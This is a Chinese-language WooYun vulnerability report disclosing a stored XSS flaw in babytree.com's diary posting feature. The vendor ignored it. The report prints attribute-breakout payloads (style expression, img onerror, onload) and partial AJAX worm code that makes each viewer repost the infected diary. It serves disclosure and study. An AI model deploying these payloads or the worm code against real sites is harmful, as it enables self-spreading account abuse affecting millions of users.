当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-081548

漏洞标题：Baby大型亲子门户Store XSS 蠕虫

相关厂商：babytree.com

漏洞作者： 黑暗游侠

提交时间：2014-11-01 20:23

修复时间：2014-11-06 20:24

公开时间：2014-11-06 20:24

漏洞类型：xss跨站脚本攻击

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-11-01： 细节已通知厂商并且等待厂商处理中
2014-11-06： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

Baby亲子门户Store XSS 蠕虫

详细说明：

Baby大型亲子门户Store xss可大规模蠕虫，千万级用户
宝宝树，Babytree
www.babytree.com
权9，Alexa排名119

32.png

漏洞证明：

每个妈咪或者每个爸比注册完后都会有一个home

26.png


首页也会推送写的日记，于是用户和用户的交互形成了蠕虫的先决条件之一

27.png


来看下形成过程，首先呢全站的xss防御是非常完美的，经过无数次的测试，黑盒发现一处src外无过滤。
首先登陆账号，点击 ”我的小家“
然后选择 “ 写日记” 如图：

28.png


这里可以插入图片，图片是以http完整url的形式包含到img标签下的src属性中，src属性里直接插入会被防御机制检查，但是src外可以插入属性代码执行跨站脚本。
我们先来看抓包的代码

29.png


如图，%22以前是基于防御沙盒进行过滤，但是%22以后沙盒竟然放弃了检查，于是修改数据包代码，在xx.jpg"后增加以下代码，仅在IE7包括IE7以下可以执行

+style="xss:expression(alert(1))" 
+style="color:rgb(''x:expression(alert(1))


或者在/>后面新插入img标签，通杀所有浏览器和内核版本

<img src="1" onerror=alert(1) />


30.png


也或者%22后面加入事件代码，比如
+onload=alert(1)

一样通杀所有浏览器和版本

可以看到，访问日志后全部弹出1的提示窗口
=======================================================================================
接下来构造蠕虫
给出部分关键js代码，控制content内容，获取location的uxxxxxxx的用户识别参数，查看的用户便会主动发表一篇同样带有存储型xss的蠕虫日记，传播速度将会成指数增长，最后达到逻辑斯蒂峰值 ：

$.ajax({
        url: 'http://home.babytree.com/content/post_ajax_util.php'
        type: 'post'
        data: {
                action: 'update'
                title:'xxxx'
                tags: 'tttt'
                content: '%3Cp%3Effff%3C%2Fp%3E' 
                dates: '2014-08-13'
                cid: '46360992'
                privacy: 'a' 
                discuss_id: '' 
                journalid: '0'
                letterid: '0'
                callback: 'parent.showResponse'
                jhack: 'true' 
        }
        success: function(data) {
                console.log(data);
                alert(data);
        }
});
$.ajax({
        url:'http://home.babytree.com/u603094999949/journal/ajax'
        type: 'post'
        data : {
                uid: 'u603094999949'
                tab: 'journal'
                view: 'new'
                test_home_server : 'http://home.babytree.com'
                cmd: 'create'
                journal_id: '0'
                crumb:'8abbaf15bdf1853b0bad38d125aca167cc8ec46e'
                random:'NvbjIXigM1RTUxOl1i'
                callback:'parent.callback_create'
                title: 'fffff'
                date： '2014-08-13', 
                letterid: '0',
                relate_baby:['12268973']
                tags: '我的标签'
                category: '童言无忌'
                catName: '我的自定义分类'
                overall: 'open' 
                nocomment: '1'
        }
        success: function(data) {
                console.log(data);
                alert(data);
        }
        
});


31.png

修复方案：

过滤

版权声明：转载请注明来源 黑暗游侠@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-11-06 20:24

厂商回复：

漏洞Rank：2 (WooYun评价)

最新状态：

暂无

漏洞评价：

评论

  1. 2015-02-03 23:22 | TwoEyes ( 实习白帽子 | Rank:73 漏洞数:28 | 你看到我的小熊了吗)

    涨姿势